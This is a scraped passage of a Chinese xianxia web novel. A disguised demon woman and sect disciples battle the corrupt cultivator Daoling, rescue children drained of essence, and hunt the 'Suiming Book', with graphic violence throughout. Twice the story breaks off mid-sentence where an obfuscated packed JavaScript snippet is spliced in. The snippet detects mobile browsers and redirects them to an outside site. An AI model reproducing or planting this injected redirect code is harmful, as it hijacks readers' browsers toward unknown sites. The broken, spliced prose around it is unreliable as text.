地宫深处,丹房里,道零一把将刀掷在了案板上,一根五百年人参被拦腰斩成两段,他哼了一声道:“有老鼠进来了。” 他挥了挥手,候在一旁的林淼立即转身掠了出去。 道零两手撑在桌上,面色阴晴不定,周身黑气缭绕,似乎由黑气凝成的猛兽即将从他背后爬出来,吞噬掉这里每一个有呼吸有心跳的活物。 - 穷奇扇动翅膀挂起狂风,洞中的断枝和石块都朝柳逸直袭来,他抬起一只手虚虚遮住眼睛,另一只手凭空画了个圆圈。 狂风忽然静止了,榕树根、石块都漂浮在空中,扬起的衣袍、乱舞的发丝在空中一动不动,饕餮的吼叫也停顿了,空气静默无声,仿佛处在暴风雨来临前的宁静。下一秒,衣袖、发丝飘落,榕树根、石块同时调转方向,树根如利刃,石块如钝刀,风推着它们朝四凶砸去,洞窟内回荡着噼里啪啦的响声。 四凶毕竟是石像化物,即使不是真的凶兽,这些攻击对它们也不痛不痒,很快,四凶便抖落了身上的石块,凶残的目光落在那空地上,然而它们却发现那里早已空无一人。 柳逸直早已跳到了远离榕树根的青铜大门上,他手中多了一柄玉白骨扇,共二十八档,正面每一档扇骨上都雕刻着星宿,其中白虎七宿所在的四根扇骨闪着幽光,背面则是一片空白。 他正要扇动玉白骨扇,以对抗向他飞来的凶兽穷奇,忽然,一根藤蔓拔地而起,将半空中的穷奇狠狠拍在了地上,不止如此,那根仅拇指粗细的藤蔓竟然将穷奇石像拦腰切断了! 柳逸直瞪大了眼睛去看,才发现那是一根带着尖锐的刺、叶子稀疏、没有花苞的蔷薇花藤。 同时,又有三根蔷薇藤拔地而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“骗人!你要是想借什么,直接问他不就行了,何必把他打晕。” 黑雾飘到了岚孟头顶,他忽然灵机一动,仿佛掌握了事情的真相,人小鬼大道:“我知道了,你肯定是看上他了!你都被关在这里两个多月了,看到这么俊俏的男人就兽性大发了是不是!” 岚孟两眼一黑,他这都从哪学来的? 她汗颜道:“我倒也不至于这么饥渴。” “为什么?”山魑向来喜欢刨根问底,“你觉得他长得不好看吗?” 岚孟满脸黑线:“倒是有几分姿色,但我真的只是借一样东西!” 她从柳逸直腰间搜出了他的芥子袋,迅速划开芥子袋的禁制,将手伸进去掏了个东西出来。 这是一块青色的令牌,正面雕刻着崇山峻岭,一条瀑布从山岭之间飞流直下,背面刻着“柳逸直”三个字,是山水令。 岚孟握着山水令,闭上眼睛,三息以后便睁开了眼睛,将山水令放了回去,然后用力在柳逸直脸上打了一巴掌。 柳逸直感觉脸上好疼,意识一下子回归,他猛地直起身,发现闫扶音半蹲在自己腿边,一团黑雾罩在她的头顶。 他摸了摸脸,然后摸到了一手的灰尘。 啊!他想起来了!刚刚他被击昏过去了,脸先着地的!他说怎么那么疼呢!该死! 岚孟脸不红心不跳道:“刚刚有个树根把你打晕了,我已经将它解决掉了。” 柳逸直闻言四处看了看,嘴角微抽,何止,整个洞窟的树根都被团灭了,树根的“断肢残骸”七零八落,只有石台上空的本体——失去了闫扶音这个力量之源的妖榕尚在苟延残喘,试图再生出新的树根。 岚孟抬手往边上一甩,蔷薇藤抽在山体上,发出轰隆隆的声响,而那里便多了几个大洞,她竟是用蛮力将地下迷宫打穿了。 “去和你的同伴会合,将那些孩子全都带出去,我已经切断了榕树藤和本体的联系,你们直接剖开藤茧就行了。” 她没有给柳逸直更多喘息的时间,拎起他的胳膊就将他往洞里甩去,柳逸直在地面上翻了几个跟头才稳住身形,不再迟疑,疾风一般飞掠而去。 “轰隆隆——” 妖榕终于支撑不住了,根系开始枯萎,山体从榕树根处开始坍塌,整个屏基山都开始晃动。 岚孟手中的蔷薇藤相互缠绕、缩短成长剑大小,她沉声道:“小山魑,我们也该出发了。” “得令!” 山魑欢呼雀跃,穿墙而去。 岚孟扑向青铜大门,一脚踹在了闻讯赶来的林淼的胸膛上。 4. 奎木狼 “砰——” 林淼的后背重重砸在了山墙上,他猛地吐出一口血,感觉肋骨断了两根,他抬手擦掉嘴角的血,一双阴沉的眼睛紧紧盯着缓缓走来的冷艳女子。 磅礴的妖气从她身上溢出来,林淼感受到了可怖的威压,正一点一点压弯他的脊梁。这妖族到底是何修为?他竟然没有一点还手之力,在这样的威压下,他甚至没有站起来的力气。 他瞪着对方,恶狠狠道:“你果然是在隐藏实力!” 岚孟挑了挑眉道:“脑子转得挺快的,不愧是只用一年时间就达到元初大圆满的天才,只可惜,道零老贼听不进去你的劝告呢。” “你潜伏在这里到底有什么目的!”林淼继续问道。 他装作疼痛难忍,被迫弯下了身躯,实则借着衣袖的遮掩,悄悄从腰间的芥子袋里取出了一件法宝,那是道零仙人赐予他的法器人偶,它的攻击堪比闻道修士全力一击,缺点是只能用一次。他耐心地等待机会,只要闫扶音进入他三尺以内,他就催动人偶,葬送这个大妖的性命! 四步,三步,两步……林淼心中希冀高涨,他的指尖浮起一簇灵气,眼看着她的左脚已经抬起,就要踏进攻击范围内。 就在这时,一根不知从何而来的蔷薇藤忽然贯穿了他握着人偶的手掌! “啊——” 林淼不由自主发出了一声惨叫,掌中鲜血汩汩如泉涌,人偶摔了出去,它的衣裳、脸颊都染上一层血红。 他的脸色惨白如纸,脖子上冷汗直冒,疼得恨不能在地上打滚,然而,又一根蔷薇藤贯穿了他的心脏,他摔倒在地,咳出的血沫堵住了他的气管,胸前的衣服被大量血液浸染成暗红色,黑气从他身体里渗了出来,他的眼前也蒙上了一层嗜血之红。 “绝望吗?” 他听到了女子毫无感情的声音。 “那些被你们抽干真元的孩童,死前也是这样的心情吧。在漆黑狭小的藤茧里,生机一点点耗尽,希望一点点破灭。明明他们只是可怜又无辜的孩子,什么都没做,什么都来不及做,没有吃过各种各样的美食,没有见过山川大河,没有用脚丈量过这片土地的辽阔,怎么就要下地狱了呢……” “明明该死的另有其人。” “咔哒!”一只脚狠狠踩在了人偶身上,磅礴的灵气迸发开来,沙石被炸飞,地上被炸出凹坑,然而那只脚却完好无损。 林淼瞪大了眼睛,七窍源源不断淌出鲜血,他亦感觉生机一点点流失,希望一点点破灭。 视野里犹如罗刹的身影渐渐远去,林淼睁着眼睛,很快便没了呼吸。 - 剑刃狠狠插进包宇的心脏,鲜血喷涌而出,飞溅在翟子续脸上,他眼前血红一片,像是有数万只蜜蜂振翅飞舞,耳边嗡鸣声连续不断,包宇死不瞑目的样子不断在他的脑海中回荡。 “翟子续!翟子续!” 娄雪沁见他握着剑呆愣在原地,像是魔怔了一般,咬着牙扬手抽了翟子续一巴掌,怒吼道:“给老娘醒过来!” 仿佛灵魂骤然回归身体中,翟子续哆嗦了一下,松开了紧握着剑的手,跌在地上大口喘着气。 他杀人了…… 娄雪沁迅速从瓷瓶里倒出一枚清心丹塞到翟子续嘴里,手放在他背上安抚道:“没事了没事了,他入魔了,已经不是人了。” 这时,柳逸直冲进了洞穴,看到气绝身亡的包宇和洞中打斗的痕迹,明白他们也经历了一场恶战。可形势严峻,地宫很快就会坍塌,由不得他们优哉游哉。 他握着玉白骨扇的手猛地一挥,无数风刃划破空气发出“歘欻欻”的声响,藤蔓被割断,孩子们纷纷掉出了藤茧,藤丝一断,真元迅速回归到孩子们的身体里,只有已经“成熟”的那两个小球滚到了地上。 柳逸直心中隐隐作痛,脱下外衫将小球和干尸般的孩子包裹严实。 翟子续也恢复了状态,将剑从包宇胸口拔了出来。 三人或背或抱,或用风、水承托,将十四个孩子全都带出了洞穴。至于那三个人贩子,柳逸直收回了捆灵索,挥出三道风狠狠抽在了他们身上,能不能逃出去,就看他们的造化了。 车夫被抽醒时,只感觉大地在晃动,头顶上泥土沙石掉个不停,他的眼中赤红一片,周身缭绕着浓郁的黑气,指甲变长变尖锐,口中长出尖牙,发出野兽般的低吼。 两个凡人见到他的样子顿时惨叫起来,吓得屁滚尿流,手脚并用地往外跑。 没走两步,其中一个人便被扯住脚踝摔倒在了地上,然后钻心的疼痛从小腿处传了过来,他一边惨叫一边往身后望去,只见车夫双眼猩红,嘴里不知道在嚼着什么东西,赤红的血一滴一滴从他嘴角流下。 他,他在吃什么? 为什么我的腿好疼? 他骇然地看着车夫将嘴里的东西咽下去,张开血盆大口咬在了他的小腿上。 “啊——”他发出凄厉的惨叫。 “鬼啊,娘嘞——”另一个人也尖叫起来,他猛地朝前方跑去,然而酸软的双腿让他跌倒在地,他顾不得喊疼,立马连滚带爬站起来狂奔,而地上多了一滩黄色液体。 - 感受到林淼和包宇齐齐没了声息,道零怒不可遏地飞掠出丹房,不多时便看见了等在路口,蓝色长发张牙舞爪的闫扶音。 “孽障!你竟敢杀我徒儿!” 岚孟冷哼道:“有何不敢?不过是你手底下的几条狗,就连你,”她举起蔷薇藤对着道零的鼻子,眼神一下子便幽暗起来,语气冷若寒冰:“我也照杀不误。” 她的身影消失在原地,下一秒,蔷薇藤劈开空气狠狠抽向道零。 后者抽出一杆拂尘,白骨制成的手柄同蔷薇藤撞击在一起,发出刺耳的声响。 “轰隆隆——” 灵力与妖力相碰撞产生的余波震塌了地宫,山崩地裂,烟尘漫天,巨大轰隆声响彻天际,山中鸟兽四处逃窜,宅院塌了一半,凡人大多被压在废墟里动弹不得,几个引灵境的修士反应最快,逃出来以后纷纷拿出武器准备迎敌。 - 有阵法加固的丹房并没有崩塌,山魑毫不费力地穿过门板飘了进去。 里面和他想象中完全不同,中央放着一个比人还高的大丹炉,地上乱七八糟堆着不知名的草药,散发着邪恶之气,熏得他头晕眼花。墙上打了些柜子,上面放了书册、瓶瓶罐罐等杂物。 黑雾状的山魑悬浮在空中,猛地吸了一口气,吐出来的风卷起了书册、草药、瓶罐,所有杂物都落到了地上,他在丹房里转悠了几圈,没发现闫扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929600|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音让他找的东西,于是径直穿过山体飘了出去。 - 柳逸直三人将十四个孩子送到了山下,找了个僻静的山洞,将人都塞了进去,然后在洞口设下一个又一个禁制,并且留下了丹灵卫独有的标记,刚做完这些,他们便听到了源于山顶的巨响。数不清的林鸟振翅高飞,山中野兽纷纷逃窜,仿佛再慢一步便会死无葬身之地一般。 三人同时抬头朝山顶望去,只见那里尘烟漫天,峰顶似乎被削去一小半,战况十分激烈。 柳逸直的脸色愈发凝重,他看向翟子续,问道:“山主有回信了吗?” 翟子续点了点头道:“山主已经派驻守按云城的丹灵卫来救援了,洛山师兄也在赶来的路上。” 自前任掌炬陨落之后,暾云炬就不曾选出新的掌炬了,现今洛山代掌暾云炬,只能调用暾云炬的投影以清缴魔气,不过对付道零也绰绰有余了。 按云城离此地一千里,没有传送阵、没有坐骑,丹灵卫最快也得半个时辰才能赶过来,仅靠他们几个估计撑不了那么长时间,希望闫扶音不是在吹牛皮吧。 柳逸直吐出一口浊气,从腰间抽出玉白骨扇出来,环视站在自己身旁的师弟师妹,沉声道:“我们走。” 三人马不停蹄往山上赶,柳逸直速度最快,他来到被夷为平地的山顶,只见闫扶音和一个灰发老者打得难舍难分,想必那就是道零仙人。 道零仙人眼眸猩红,魔气将他的修为送到了闻道境后期。 由于被抽了三成的妖力,岚孟如今的修为不过闻道中期,打得十分吃力。而且道零的几个弟子也因魔气晋升到了元初境,他们已经失去了理智,不怕死地朝她攻击,岚孟根本腾不出手来解决这几个臭虫。 好在柳逸直来得及时,他“刷”地一声打开玉白骨扇,光芒在属于白虎七宿的七档扇骨间此起彼伏,最终定格在了“奎”字上,紧接着,一个巨大虚影从骨扇里跳了出来。 奎木狼! “嗷呜——”它仰头长啸,随着柳逸直灵气的输入,它的身躯愈发凝实,然后直奔那几个捣乱的元初境修士,它并不恋战,一口咬住他们的身躯将其甩到远处以后又直奔下一个,很快,那八个人都被甩出了战场中心。 奎木狼奔回玉白骨扇之中,柳逸直收起骨扇,取出一柄匕首,身形如鬼魅般在他们中间穿梭。 这时,翟子续和娄雪沁也及时赶到,他们身上都浮起了三个淡黄色光圈,是暾云炬的赐福起作用了。 长剑锋利,烈焰灼烧着空气;碧水如刀,刀刀割人性命。 三人配合默契,很快便解决了三个魔。 这时,伴随着道零的怒吼,无数浸润了魔气的榕树藤蔓拔地而起,三人同时被藤蔓捆绑起来吊在了半空。 道零扔掉了光秃秃的拂尘,站在张牙舞爪的魔藤中心。或死或伤的八个入魔者被藤蔓捆绑着带到了他眼前,他伸出手掌罩在最近一人的头顶,五指用力,那人的头颅便在他手中爆炸了,魔气和真元如轻烟一般被他吸入口中。 岚孟“呸”地吐出一口血,扯掉破破烂烂的碍事衣袖,露出纤细却有力的胳膊。她眼神冷若冬日寒冰,朱唇轻启,吐出毫无感情的三个字: “杀了你。” 她“唰”地一声消失在原地。 5. 燧明书 太阳的最后一丝亮光也被黑暗吞没了,夜色昏沉,黑压压地让人喘不过气来。 道零迅速吸收了两个修士的真元和魔气,他周身的魔气愈发浓郁,眼睛血红一片,眼白也消失了。脚下的魔藤疯狂地生长着,就像是数以千计、从他脚下伸出来的触手,看着恶心又恐怖。 岚孟出现在道零的右前方,手中蔷薇藤开出了无数皎洁的花朵,花瓣如锋利的流矢朝道零袭去,在道零身上割开了无数细小的口子,魔藤包裹住道零形成了屏障。 柳逸直只觉眼前白光一闪,捆住自己的魔藤松懈开来,他奋力挣脱束缚落在了地上,岚孟从他身侧一窜而过,留下一句话:“帮我拖延时间。” 柳逸直迅速反应过来,身形一闪便出现在道零正上方,手中玉白骨扇卷起无数风刃袭向下方。 魔藤齐齐升上高空,誓要抓住那个不知死活的袭击者。就在魔藤碰到柳逸直的衣角时,他的身形诡异地消失了,半空中的数百根藤蔓来不及收回,依旧直直朝高空探去。 “锵——” 一声清脆的剑鸣响起,翟子续举剑一劈,带着火光的剑气斩断了道零本用来抓捕柳逸直的藤蔓,落下这一剑后,他的身体不由自主往后撤,好像有一只无形的手将他抓住扯了回去一般。 焦黑的断枝纷纷坠落,挡住了道零的视野,然而他的神识却看到一条大张着嘴的粗壮水蛇从正面向他袭来,他动了动手指,藤蔓当头劈下,将那水蛇劈成了两半,水蛇瞬间溃散成雾一般的小水珠,在半空中凝结为细小冰针,齐齐朝道零射去。 道零大吼一声,汹涌魔气向四周震荡开来,冰针碎裂,娄雪沁被震飞出去,翟子续从背后接住了她,两人撞在树干上,齐齐吐了一口血。 数支赤箭破空射向道零,被他一把抓住,单手将其折成了两段。 他赤红一片的眼睛看着远处的柳逸直三人,狞笑着说:“就凭你们几个也想伤到老夫?” 只是被道零森然的目光注视着,柳逸直便感觉浑身冒起了一层鸡皮疙瘩,更别说修为低于他的娄、翟两人,他的余光扫了他们一眼,发现两人的身体都有些颤抖。 这是很正常的事情,他第一次遇到比自己高出一个境界的魔时,也吓得浑身抖成筛子,要不是有暾云炬的赐福…… 不对。 柳逸直猛然回头看向他们,发现二人身上皆有三个淡黄色光圈,然而反观自身,却只有两个淡黄光圈顽强抵抗着黑色的魔气,这说明他的山水令中的神力要比他们二人的少几分。 很不对劲。 上次遇到魔的时候,神力还有三道,为何今天少了一道?他一直将山水令放在芥子袋里,从未离身,不存在山水令失窃的情况,暾云炬神力也不会凭空消失。 他忽然想到了什么,伸手摸向后脖颈,那里有一道青肿痕迹,是在地下迷宫时被榕树根袭击时留下的伤痕,这道伤痕只有拇指粗细,而当时洞窟里最细的树根也有婴儿手臂粗。昏迷时他是面朝地面倒下的,而醒来时他仰躺在地面上,闫扶音半蹲在他旁边,是谁将他翻过来自然不言而喻。 他又把手探向芥子袋,果然,芥子袋封印没了,方才专注于战斗,竟然没有发现这个问题。 所以,闫扶音动过他的芥子袋,还从山水令里窃取了一丝神力?怎么可能,别说她不是掌炬了,她都不是山到源的弟子。 “闫扶音何在?不会是逃跑了吧?方才不是还信誓旦旦放话说要杀掉老夫吗?” 魔藤疯狂地在地上扫荡,柳逸直三人急忙分散开来躲避魔藤的攻击,在道零的视角里,这就像是高大雄伟的公鸡低头啄食地上的虫豸一般简单。 “哈哈哈哈你们都该死!都给我死!” 他已经将八个弟子的真元和魔气尽数吸收,修为更胜一层楼,达到了闻道境大圆满,不论是周身气息还是魔藤的威力都达到了十分恐怖的境地。 柳逸直三人狼狈地在魔藤间逃窜,只保全自身已经是十分吃力,更别说反向攻击了。 “闫扶音!你这个缩头乌龟!狗娘养的!怎么不敢来和老夫一战!” “哈哈哈哈老夫的造化丹要成了!那些所谓的天之骄子终将被老夫踩在脚下!” “出来!妖孽!坏了老夫的大计!老夫要让藤王将你做成人彘!” 道零的神智愈发混乱,时而清醒,时而疯癫,嘴里说着风马牛不相及的话语,时间会混淆,记忆会错乱,只要再吸收一些魔气,他就会变成真正的茹毛饮血、六亲不认的怪物。 柳逸直心中焦急万分,闫扶音怎么还没来,不会是逃走了吧?那他们就真的要翘辫子了! 就在这时,岚孟的声音乍然响起,好似从遥远的天边传来。 “就看你有没有那个本事了!” 柳逸直下意识朝声源处看去,只见两条长着巨大龙首的碧色木龙从地面上抬起了头,而闫扶音就站在其中一条木龙头顶,她左右手各执一根蔷薇藤条,上面开着几朵白色小花。一轮圆月从她背后升起,皎洁的月光照亮了大地,给她身上披了一层银辉,蓝色长发在风中飘扬。 柳逸直感觉有一瞬间她的眼睛变成了金色。 战斗一触即发。 岚孟和道零同时飞身跃入半空,魔藤和木龙纠缠在了一起,柳逸直三人犹如蚂蚁,在大象脚底下抱头鼠窜。 两条木龙轰隆隆爬过来,千万条藤蔓碾压过去,娄雪沁撒开两腿狂奔,在这样狭小的空间里,她的御水术根本施展不开,刚开了个头就会被藤蔓打断。 “娄雪沁!” 她忽然听到了翟子续的声音。 她看见那个榆木脑袋举剑“刷刷刷”砍断了拦路的藤蔓,眼神坚定地朝她伸出了手。 娄雪沁爆哭,挣扎着朝翟子续身边跑去,就在她要抓住那只手时,她忽然感觉自己被什么东西拦腰咬住了,然后她身体忽然腾空,整个人被甩上了天! 看见娄雪沁被木龙咬住的时候,翟子续的大脑瞬间变得一片空白,他猛然回神,就要撕心裂肺地喊出那个名字时,忽然感觉自己也飞了起来! 一阵天旋地转之后,他感觉到自己在急速下坠,心里忽然泛起一阵悲凉。摔死这个死法也太惨了吧?身体会被摔成一滩血泥,要是运气不好脸朝下的话,整张脸血肉模糊,阿娘来认尸的时候还能认出来这是她的宝贝儿子么…… 正胡思乱想着,翟子续忽然发现滞在了半空,视野里飞速变化的景物也定格住了,紧接着他“啪叽”一声掉在了地上。 “得,得救了……” 仰躺在地面上,星辰明月映入眼中,翟子续劫后余生地松了口气,翻身爬了起来,却发现娄雪沁一动不动躺在自己不远处,他心里“咯噔”一声,扑过去一把将她搂了起来,哀嚎尚未喊出口,他就听到娄雪沁怒骂的声音。 “疼疼疼疼疼——你丫的压到我头发了!” 翟子续连忙撒开抱着她的手退开一大步,结果“咚”的一声——娄雪沁摔下去磕到了后脑勺。 脑后传来巨大的钝痛,娄雪沁欲哭无泪。 苍天啊,为什么自己的搭档是这么个蠢材! 在娄雪沁二人手忙脚乱收拾身上伤口的时候,柳逸直蹲在高高的树梢,神色凝重地看着远处的战斗。 木龙以压倒性的优势解决了负隅顽抗的魔藤,这个依靠闫扶音妖力存活、后又被道零利用的妖物终于失去了所有力气,万千树藤瞬间枯萎。道零失去了他最大的依仗,即使他因为吸收了足够的魔气晋升为闻道大圆满,也因为思维的迟钝、理智的疯狂而败于闫扶音的蔷薇藤下。 这场战斗结束得太快,不得不让柳逸直心生怀疑。既然闫扶音能制造战无不胜的木龙,为何她一开始不使出这一招,还费那么多功夫和道零缠斗?从锁妖阵脱困以后,她绝对有这个时间,何必非得等到战斗中途? 莫非……以“闫扶音偷走暾云炬神力”为前提,制造木龙需要依靠神力,而掌握神力又非一朝一夕之功,所以她才无法第一时间制造木龙,而是边战斗边等待契机。 那么又有了新的问题——为何闫扶音能窃走并掌握暾云炬神力? 作为山到源传承千年的神器,暾云炬可不是谁都能使用的,只有修为高强、修身洁行、得到暾云炬和八大山主认可的掌炬才有资格执掌神器,诸妖邪以定九州。千余年来,掌炬不过三十余人,十七年前,前任掌炬大妖重明尧玦陨落之后,更是无人再能得到暾云炬的认可。现如今洛山也不过是暂代掌炬一职,只能调用暾云炬的投影以清缴魔气,山到源依旧在等待新的掌炬出现。 她到底什么来头…… - 蔷薇藤将道零的四肢和头颅都钉在了大地上,他大口喘着气,犹在负隅顽抗,却怎么也挣脱不了,随着生机的流失,魔气也慢慢消散,回归地底浊气之中。 岚孟身上挂了不少彩,身上无数细小的伤口,右半边头发也被斩断了一半。好在终于将道零擒住了,不枉她铤而走险偷了一丝暾云炬神力。 她平息了一下紊乱的气息,用萦绕着淡黄色光圈的蔷薇藤条指着道零的眉心道:“说,‘燧明之书’藏哪了?” 像是一口痰堵在喉咙深处,道零发出“嗬嗬”的声音,嘴角不断有鲜血涌出。 “原来这就是你的目的,呵呵呵呵……” “老夫不会说的,你自己找去吧!” 岚孟冷笑一声,“你以为你不说,我就找不到了吗?” 她扬起蔷薇藤条敲在道零的眉心,朦胧的“雾气”从他的眉心处延展开来,形成一片虚幻的、独立于天地的领域。 柳逸直三人来到现场时,看见的就是这样的奇妙景象。 “领域……”他轻声呢喃道。 修士晋升闻道境以后,会增长三种能力。 第一是“支柱”,乃是道心的载体。支柱崩塌则道心毁灭,轻则境界跌落,重则身死道消。支柱若有一丝一毫的动摇,都可能会被无孔不入的魔气侵蚀道心,造成难以估量的后果。低阶修士没有“支柱”,因此更容易被魔气侵蚀。 第二是“灵技”,通俗来说就是专属于自己的技能,比如金系修士能够点石成金,雷系修士能够引动天雷。一开始每个人都只有一个灵技,随着修为增长,自身能掌握的灵技会逐渐增多。这和妖族的“天赋”类似,只不过妖族的“天赋”是生来就有 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他忽然感觉闫扶音和自己好像相隔甚远,远到他看不清她的面容。他们又好像很近,甚至他还能听到她手中旧书翻页的“哗哗”声。 识海深处象征着“道”的迷雾又开始风翻云涌,他伸手抚在眉心企图去平静心绪,识海中他幻化出来的手掌触碰到那团迷雾的时候,他忽然感应到了什么。 电光火石之间,他说出了那本书的名字:“燧明之书!” 古朴陈旧,封皮无字,内页亦无字,只要将其打开,它便会自动翻页,直到持书之人想要看到的答案。 它叫“燧明之书”,又称“全知全能之书”,通晓万事的答案,掌握万物的法则。 它来自万年前的燧明古国,由国主燧人氏亲自撰写,被奉为燧明国国书,直到燧明国灭,“燧明之书”销声匿迹,有传言说它是被当时燧明国的镇国神兽凤凰一族带走了。之后的岁月里,“燧明之书”偶尔现世,一旦现世必会遭到世人疯抢。 柳逸直三人都不由自主被“燧明之书”引诱,眼中浮起薄雾,迈开步子想要朝它走去。 “别过来!” 一声呵斥唤醒了柳逸直的意识,柳逸直迅速顿住脚步,并将娄雪沁和翟子续都拦了下来。紧接着,他看见闫扶音的眼睛毫无征兆喷溅出血来,然后她手里的“燧明之书”忽然飞上了高空,被一个黑衣姑娘拿在了手里。 那人面若桃花,黑发红瞳,看起来不过十三四岁年纪,唇边衔着一抹玩世不恭的笑容,眨眼间便消失在了夜空中。 柳逸直飞奔上去扶住闫扶音摇摇欲坠的身体,焦急问道:“你没事吧?” 翟子续和娄雪沁也关心地围了上来。 捂住眼睛的手掌源源不断渗出血来,岚孟自嘲一笑:“这就是窥探未知的代价。” 这句话轻缓又沉重,仿佛度过了漫长历史长河,从遥远的过去传来,听得众人心头都有些压抑。 她从怀里拿出一个瓷瓶递给柳逸直,道:“抱歉,能帮我打开吗?” 柳逸直不疑有他,拔掉瓷瓶上的木塞,好像有什么东西涌了出来,但瓷瓶里却空无一物,并没有他想象中的药丸。 余光瞥见她唇边若有似无的笑意,柳逸直瞬间明白了什么,一把将她推开,大声提醒道:“有问题!快屏住呼吸!” 然而还不等他有所动作,娄雪沁和翟子续便已经头一歪晕厥了过去,而他自己也感觉手脚麻痹,提不起一点劲来。 双手撑在地面上才不至于倒下去,柳逸直挣扎着问道:“你,你做了什么……” 两眼迷离中,他看见闫扶音放下右手,淌在脸颊上的血液开始倒流,很快她的眼睛恢复了原样,仿佛从来没有受过伤一般。 岚孟拨了拨被汗黏在脸颊上的发丝,轻笑道:“放心,只是一点迷药而已,不会死人的。” 她走过来,伸出食指点在了翟子续额头上,闭上眼睛,嘴里说着晦涩难懂的语言,翟子续额头有光芒升起,飘入了暗夜中,紧接着她对着娄雪沁做了同样的事情。 柳逸直已经支撑不住倒在了地上,仅有些模糊的意识。他看到闫扶音半蹲在自己面前,毫无血色的唇一开一合,似在解释:“我封禁了你们的记忆,睡醒以后,你们不会记得今天发生的事情,也不会记得我这个人。” 不是说违背誓言会遭天谴么,柳逸直只想扑上去将这个出尔反尔的妖族暴揍一顿,可是他一句话也说不出来,动动手指都感觉费劲。 昏昏欲睡中,他看见面前这个狡诈的妖族不知从何处掏出三颗种子按进泥土中,再合拢五指虚虚往上一抓,种子立即生根,发芽,抽条,开花,结果,最后瓜熟蒂落,她得到了三枚白色的果实,表皮光滑,泛着一层莹光。 她将果实分别塞进他们三人的怀里,解释道:“这玄灵果算是给你们的赔礼,绝对没下毒,放心吃吧。” 然后她又拿出了他的山水令,将缠绕在蔷薇藤条上的神力送回了山水令中。 “暾云炬的神力也还给你了。” 做完这些,她才朝他伸出了手,柳逸直感觉脑海中回荡着温柔清润的古老歌声,他的眼皮越来越沉重,头脑越来越空,最终他头一歪,堕入了黑甜的梦乡。 6. 忘了我 “柳逸直,柳逸直!” 谁,是谁在叫他? 柳逸直睁开眼睛,发现自己站在浓浓大雾之中,举目四望,大地一片虚无,没有房屋没有河流,没有其他人,天地间好像只剩下他一个人。 他感觉呼唤声从很远的地方传来,在浓郁的雾气中,他凭着感觉朝声源方向走去,前方多了一盏橘黄色的马灯,他不由自主靠近了那雾气之中唯一的光源。 他伸出胳膊探向马灯,一只手忽然从侧边伸出来搭在了他的胳膊上。 柳逸直侧目看去,只见浓雾模糊了女子的面容,他听到女子清润的嗓音中隐约含着一丝狡黠。 “忘了我。” 马灯骤然光芒大作,柳逸直猛地睁开了眼睛,意识还未完全苏醒,而眼前的光芒是那样刺眼,刺眼得让他眼眶中不由自主分泌出泪液来,他听到了欢呼声:“醒了醒了,柳逸直醒了!” 几息过后,他才完全清醒过来,视野里那盏橘黄色马灯飘远,抬着马灯的人凑到翟子续面前,将马灯对准了他的眼睛,操着大嗓门喊道:“翟子续,翟子续!别睡了!” “娄雪沁,快醒醒!起床了!太阳晒屁股啦——” 柳逸直直起身来,抬手揉了揉太阳穴。 他抬头望天,皎洁安静的月亮映入他的眼帘。低头看地,枯萎焦黑的榕树藤蔓,塌陷的土地,数不清的树木倒伏于地,原本郁郁葱葱的山峰现已被夷为平地。除了提着马灯唤醒他的人外,还有两个不认识的丹灵卫在收拾战场,将死者的尸体摆成一排,从宅院废墟下救出幸存者。 远处,妖榕残骸附近,道零仙人被蔷薇藤钉在地上,丝丝缕缕黑色魔气从他身上渗出,缓缓坠落于土地里。 柳逸直走近他,站居高临下地看着这个作恶多端的邪修。 道零还没死透,他睁着眼睛,嘴里断断续续地说着什么,嗓音沙哑,像是有针扎在他的喉咙里。 “造,化丹……造化,丹……” 柳逸直观察到道零的口型变了,他半蹲下来,三道淡黄色光圈萦绕在他周身,道零细若游丝的声音传入他的耳中。 “救,救命……” 柳逸直的心中忽然泛起阵阵悲哀。 他为之感到悲哀的,不是这个四肢和头颅都被钉在地上,脑浆迸发、鲜血流尽却还在苟延残喘的道零“仙人”,而是被“仙人”抓来抽取真元以炼制邪丹的孩童,他们大多数都不满十岁,尚未过完人生的十分之一,生命就被永远留在了这座充满邪恶与堕落的土地上。 一声叹息尚未吐出口,柳逸直忽然扬起五指往虚空中一抓,风刃在他手心凝聚,腰部带动上半身往后方一转,风刃与横刀发生猛烈的撞击。 “锵——” 车夫不知从何处爬了出来,他表情狰狞,双眼血红一片,下颌鲜血淋漓,他歇斯底里地吼道:“都怪你!你毁了我的一切!再有一天,仙人就会赏赐新的造化丹了!我杀了你——” 柳逸直镇定地挥动风刃,接下了车夫毫无章法可言的砍击。 永远叫不醒一个装睡的人,柳逸直深谙这一点,所以面对自甘堕落为魔的人,他从不多言,以手中剑断送魔族的生命才是他该做的事情。 “有了造化丹我就能给家人报仇了,为什么,为什么要毁了这一切……” 柳逸直的身形一下子顿住了。他好像又看到了站在血泊之中的父亲,那个高大的男人转回头来看他,眼中盈满愧疚、自责,以及飞蛾扑火的决绝。 “对不起,我没有别的办法,哪怕要下地狱,我也……” 凌冽的魔气扑面而来,柳逸直瞬间从幻觉中清醒过来,就要抬起右手抵挡。 这时,一束光从背后袭来,径直射入车夫的胸膛,他手中的横刀“哐当”一声掉在了地上,“噗”地吐出血来,张了张嘴,似乎想要说点什么,然而他什么也没能说出口,身体往后倒了下去。 魔气争先恐后逃出了他的身体,从他的胸膛中浮起的点点星光追上了魔气,像是万千萤火虫腾空而起照亮黑暗一般,魔气一点点消散了。 车夫眼中的猩红悄然消失,鲜血止不住地从嘴角淌了出来,他的眼中倒映着一轮皎洁明月,丝丝缕缕的云雾萦绕在明月的身边。 不是说神爱世人么,为什么那束清辉,从来都不曾照在他的身上…… 